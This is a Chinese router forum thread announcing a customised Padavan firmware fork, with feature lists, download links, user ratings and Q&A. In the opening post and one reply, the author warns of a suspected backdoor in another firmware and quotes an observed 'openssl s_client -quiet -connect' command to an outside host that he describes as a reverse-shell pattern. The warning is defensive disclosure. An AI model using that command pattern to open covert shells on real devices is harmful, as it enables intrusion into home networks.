找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
广告投放联系QQ68610888
查看: 183881|回复: 636

精工细作的 Padavan 固件(K2P、Newifi3、Newifi-Mini、小娱C1/C5支持SATA啦)

 火... [复制链接]
发表于 2019-9-11 22:10 | 显示全部楼层 |阅读模式
本帖最后由 Yonsm 于 2020-1-9 16:51 编辑

一、来由

最近偶尔发现家里的路由器 CPU 100%,开了openssl s_client 连接到它发布页相同的域名(openssl s_client -quiet -connect ...),这是一个典型的反弹shell的用法,可能是后门。之前至少有两个人报过同样的问题(参见1参见2);另外似乎有其它人的固件在连接“openssl s_client -quiet -connect koolproxy.com 443”。闭源不按规则出牌的做法之前已经被诟病不少,作为家庭网络中枢的路由器被安置后门更是难受。

最近 fork 了 hanwckf 的 Padavan 代码,按照自己的喜好一通大改,看着终于比较舒服了:

  • 大量的 UI 细节改动:如 DIY 了 logo 和 favicon、翻译词条、以及其它细节等;
  • 客户端状态页面,支持显示 WIFI 信号强度 RSSI,点击标题栏支持按名称、IP、MAC、RSSI排序;
  • 支持小娱 XY-C1 配置,全面去除 WIFI 相关的管理页面;
  • 右上角工具按钮及图标优化,支持关机按钮;
  • 好多其它修改,暂时懒得码字了,看git分支和提交记录吧。

二、图示

以下为小娱C1的固件,我测试的去掉了SATA,现在2020.01.08版本支持内置SATA啦:



以下为K2P纯净固件,集成了5.0.3的驱动,适用于用作AP(实际发布的含$$):



三、使用

我编译了 K2P、Newifi3、Newifi-Mini、小娱C1/C5 的固件,自己测试中,不保证稳定性和质量(基本与hanwckf一致),下载地址:

https://github.com/Yonsm/Padavan/releases

默认配置如下:
主机名:Router
IP:192.168.2.1
WIFI:设备型号_标识/1234567890
账号:admin/admin

其它大部分功能功能和参考 hanwckf 一致,参考他的文章,特别是其中 $$ 的部分需要仔细特别关注。

其它固件或需要修改功能,可以自行下载源代码编译:https://github.com/Yonsm/Padavan

四、后续

欢迎大家反馈使用、反馈,后面还会继续完善。也欢迎 fork 和 PR,上述部分修改(如RSSI排序、关机按钮等好多功能已PR给hanwckf并被合并,如果不需要我那些个性化的东西,也可以使用他的代码库,但我的在界面细节等方面比他更考究点:)。

附:XY-C1换了小的亚克力盒子,漂亮啊,看图:


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×

评分

参与人数 41恩山币 +44 收起 理由
破绽烧冻鸡翅 + 1 几亿网民,我们俩竟然神奇的在恩山相遇了!.
lhuanyun + 1 厉害
微信 + 1 小娱c14.20王者延迟50-60,其他固件正常
雨眸 + 1 一看就是觉得高端、大气、上档次!
大话西游 + 1 感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
yaojh123 + 1 不错,可以5G中继。H大的不行可惜。这个可以,不错
584521abc + 1 感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
jeapy + 1 感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
twbin30 + 1 开门!查水表、抄煤气表了、抄电表了!!!
haidong9989 + 2 恩山全体路由党向你学习!
czc2020 + 1 希望适配小米mini等所有的固件 谢谢
jet慕情 + 1 送你一块“恩山”牌肥皂,喏,就在你脚下、捡一下吧……
yifeng41 + 1 感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
吃瓜一页书 + 1 感谢 下个版本可不可以加上腾讯云或者阿里云的ddns啊
cba456007 + 1 感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
ueins + 1 windows mobile 一路走来,宇宙杰出青年的代码永远短小精悍!!pav
lch911 + 2 论坛名好像在玩CE手机的时候见过,呵呵。支持。
qqxb24 + 1 强大的恩山!(以下重复1万次)
捡个人 + 1 感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
gengming + 1 感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
sslnew + 1 几亿网民,我们俩竟然神奇的在恩山相遇了!来,1分也是分!
essencer + 1 几亿网民,我们俩竟然神奇的在恩山相遇了!来,1分也是分!
thomas沐 + 1 感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
hurric + 1 Y1 mini 进不了设置页
v2mx + 1 感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
我是路人乙 + 1 感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
hytmcs + 1 感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧!
xinup + 1 希望添加去广告和KMS,感谢分享
zzd2358 + 1 有bug,无线中继扫描显示出来的信号全是错乱的。面目全非
chencencc + 1 有bug,无线中继扫描显示出来的信号全是错乱的。面目全非
amjake + 1 有bug,无线中继扫描显示出来的信号全是错乱的。面目全非
开始懂了~ + 1 马上70周年国庆了,在此我祝你国庆节快乐!
hasta + 1 一看就是觉得高端、大气、上档次!
secowu + 2 马上70周年国庆了,在此我祝你国庆节快乐!
dqedu + 1 固件很好,希望科学部分能够增加指定客户端功能!
sarah0915 + 1 感谢你的分享,无论怎样,你都是最无私的人!
Cheney_xu + 1 感谢你的分享,无论怎样,你都是最无私的人!
yanzihui + 1 board.h裏加入這一行默認就是AP模式了。#define BOARD_ROL
369079365 + 1 希望楼主还可以集成下 aria2 这样就是个家庭小nas了 。感谢大神们的
zhoudecai + 1 马上70周年国庆了,在此我祝你国庆节快乐!
slwl135 + 1 感谢你的分享,无论怎样,你都是最无私的人!

查看全部评分

我的恩山、我的无线 The best wifi forum is right here.
 楼主| 发表于 2019-9-11 23:36 | 显示全部楼层
rush 发表于 2019-9-11 23:33
是以前xcmd的作者么?

呃……是的。以前无忧捣腾的XCMD/WinCMD,老九拿去改成了PECMD成了后续好长一段时间各种PE的Shell Loader和工具脚本环境,我自己后续演进成了 CeleScript 去掉了 PE Shell Loader功能,也备存在这里了:https://github.com/Yonsm/CeleScript
我的恩山、我的无线 The best wifi forum is right here.
回复

使用道具 举报

 楼主| 发表于 2019-9-12 08:03 | 显示全部楼层
rush 发表于 2019-9-12 07:57
当时很受不了*九*桃的所作所为,后来开源的PECMD2012出来他们也自然淘汰。
我以前有用过wince的机器,用 ...

妈呀,你不说我都忘了WM中的才叫XCMD…,这个后面我改成了CeleCmd,代码备存在:https://github.com/Yonsm/CeleCmd,大趋势如此,青山遮不住,哈哈,虽然没什么用了,存个档。
我的恩山、我的无线 The best wifi forum is right here.
回复

使用道具 举报

 楼主| 发表于 2019-9-12 18:10 | 显示全部楼层
samyi 发表于 2019-9-12 11:03
以前楼主是不是有个与你的用户名Yonsm同名的博客,后来不能访问了,认得你的github主页头像后面会 ...

Yonsm.NET 域名没续费了,用 https://yonsm.ga 可以访问,或者永久点的:https://yonsm.github.io
Padavan定位还是自己用啦,我自己用不上的功能我不会搞啦,除非投入心力不多的;代码是开放的,会整的可以自己搞哈
我的恩山、我的无线 The best wifi forum is right here.
回复

使用道具 举报

 楼主| 发表于 2019-9-13 00:24 | 显示全部楼层
本帖最后由 Yonsm 于 2019-9-18 21:38 编辑
zlhzzjcn 发表于 2019-9-12 20:47
期待小娱的固件,32m的闪存,希望能充分利用

会有的,已经好了,我先用一小段时间,没问题的话再放出来。

但32M闪存这个事情,我实在用不上这么多功能,固件肯定会很小。我做这个只是为了自己的需求,如:展示RSSI并排序、界面优化、SAMBA4、小娱C1优化、精简不用的功能等。
我的恩山、我的无线 The best wifi forum is right here.
回复

使用道具 举报

 楼主| 发表于 2019-9-13 00:25 | 显示全部楼层
wzdzdhan 发表于 2019-9-12 21:17
哈哈,看着熟悉的id。用wm都是10多年前了

这论坛……老人真多,哈哈,无忧一波人、Windows Mobile 一波人……
我的恩山、我的无线 The best wifi forum is right here.
回复

使用道具 举报

 楼主| 发表于 2019-9-13 20:43 | 显示全部楼层
bwflze 发表于 2019-9-13 02:25
最新驱动5.03还是很好用的,不知道大神是不是用的最新驱动

5.03驱动在哪里?另外好在哪里?感谢提供信息。
我的恩山、我的无线 The best wifi forum is right here.
回复

使用道具 举报

 楼主| 发表于 2019-9-13 20:45 | 显示全部楼层
L33 发表于 2019-9-12 19:35
设备列表的类型,感觉图标显示的分类不太准确。

这个是原作者留的坑,预设了10中设备类型(图标),实际上代码上看最多只会出现三种:PC设备、ASUS AP、其它设备,而且PC设备的判断还不准确,代码我都看明白了,后面看看有没有更好的方案来判别客户端类型,有的话可以改完善点。
我的恩山、我的无线 The best wifi forum is right here.
回复

使用道具 举报

 楼主| 发表于 2019-9-13 20:53 | 显示全部楼层
本帖最后由 Yonsm 于 2019-9-14 10:11 编辑
369079365 发表于 2019-9-12 20:53
支持  后期还会支持aria2  吗?

会的。是这样的,我做这个固件的目的只是为了自己的需求,扩展功能上会重点支持:
  • Samba,计划升级至4.10.x,支持Mac OS 特性
  • Aria2+Aria-Ng
  • Trnasmission
  • SS(后期会考虑V2)

重点会支持的设备:
  • Newifi 3
  • Newifi Mini
  • K2P(原版)
  • 小娱XY-C1



我的恩山、我的无线 The best wifi forum is right here.
回复

使用道具 举报

 楼主| 发表于 2019-9-17 13:52 | 显示全部楼层
xxiang51 发表于 2019-9-17 10:33
哇 界面好帅
能上Hiboy的SS就好了 那个设置强大 我得才能用
期待楼主支持新版

小心,这两天发现Hi固件里面可能有后门,之前至少有两个人报过同样的问题(参见: https://www.right.com.cn/forum/f ... 324&pid=3332467https://www.right.com.cn/forum/f ... age=1447#pid3493441),我也遇到了,CPU 90%,开了openssl s_client 连接到他发布页相同的域名(openssl s_client -quiet -connect opt.cn2qq.com 443 -servername opt.cn2qq.com),这是一个典型的反弹shell的用法.

另外似乎有其它人的固件在连接“openssl s_client -quiet -connect koolproxy.com 443”:https://right.com.cn/FORUM/thread-248443-1-1.html
我的恩山、我的无线 The best wifi forum is right here.
回复

使用道具 举报

 楼主| 发表于 2019-9-17 16:02 | 显示全部楼层
lezhitian 发表于 2019-9-17 14:18
加入个koolproxy去除HTTP+HTTPS过滤广告,完美,规则可以个人自己写.

已经加了,未测试,https://github.com/Yonsm/Padavan,K2P 5.0.3驱动也加了。但SS感觉有问题,所以迟迟没有编译固件…
我的恩山、我的无线 The best wifi forum is right here.
回复

使用道具 举报

 楼主| 发表于 2019-9-18 20:27 | 显示全部楼层
abcabcabc 发表于 2019-9-18 19:34
楼主可以参考237176253大神的建议近期帖子的建议优化修改,期待大神的固件

请教,237176253的建议在哪儿

点评

https://www.right.com.cn/forum/thread-938071-1-1.html, 猜测可能是这个cpu调度设置  详情 回复 发表于 2019-9-18 22:31
我的恩山、我的无线 The best wifi forum is right here.
回复

使用道具 举报

 楼主| 发表于 2019-9-19 10:35 | 显示全部楼层
开始懂了~ 发表于 2019-9-19 07:19
建议楼主把登陆IP与原文件同步,192.168.1.1与光猫重复了。老毛子修改登录IP容易出错,配置保存失败。192.1 ...

好吧,从善如流,下一个编译版本我改过来吧。都是猫的锅,我自己都是把光猫改成192.168.0.1,家庭主网络非要用192.168.1.1才看着舒服。我把自己的需求弄到另外一个分支上。
我的恩山、我的无线 The best wifi forum is right here.
回复

使用道具 举报

 楼主| 发表于 2019-9-19 10:36 | 显示全部楼层
668225 发表于 2019-9-19 08:19
不错,能告诉我编译需要什么环境吗?必须用linux?

Ubuntu 18 LTS,懒得装的话,可以 VMWare 虚拟机弄一个,编译也挺快的,5分钟多点
我的恩山、我的无线 The best wifi forum is right here.
回复

使用道具 举报

 楼主| 发表于 2019-9-19 10:39 | 显示全部楼层
本帖最后由 Yonsm 于 2019-9-19 10:41 编辑
sarah0915 发表于 2019-9-19 10:37
下载下来学习下。我家500M的带宽,测速才160的5G,瞎了这么好的路由器了。用的是K2P_3.4.3.9-099 都不知道 ...

我编译的这个实测5G测速可以到520Mbps+(宽带500M,更高没测试了,似乎这里说可以更高到635+:https://www.right.com.cn/forum/thread-938071-1-1.html)注意5G的信道选择 153-161,好像选165(包括2.4G的13信道)的话,速度都不了最高,差很多。
我的恩山、我的无线 The best wifi forum is right here.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

有疑问请添加管理员QQ86788181|手机版|小黑屋|Archiver|恩山无线论坛(常州市恩山计算机开发有限公司版权所有) ( 苏ICP备05084872号 )

GMT+8, 2024-4-18 18:54

Powered by Discuz! X3.5

© 2001-2024 Discuz! Team.

| 江苏省互联网有害信息举报中心 举报信箱:js12377 | @jischina.com.cn 举报电话:025-88802724 本站不良内容举报信箱:68610888@qq.com 举报电话:0519-86695797

快速回复 返回顶部 返回列表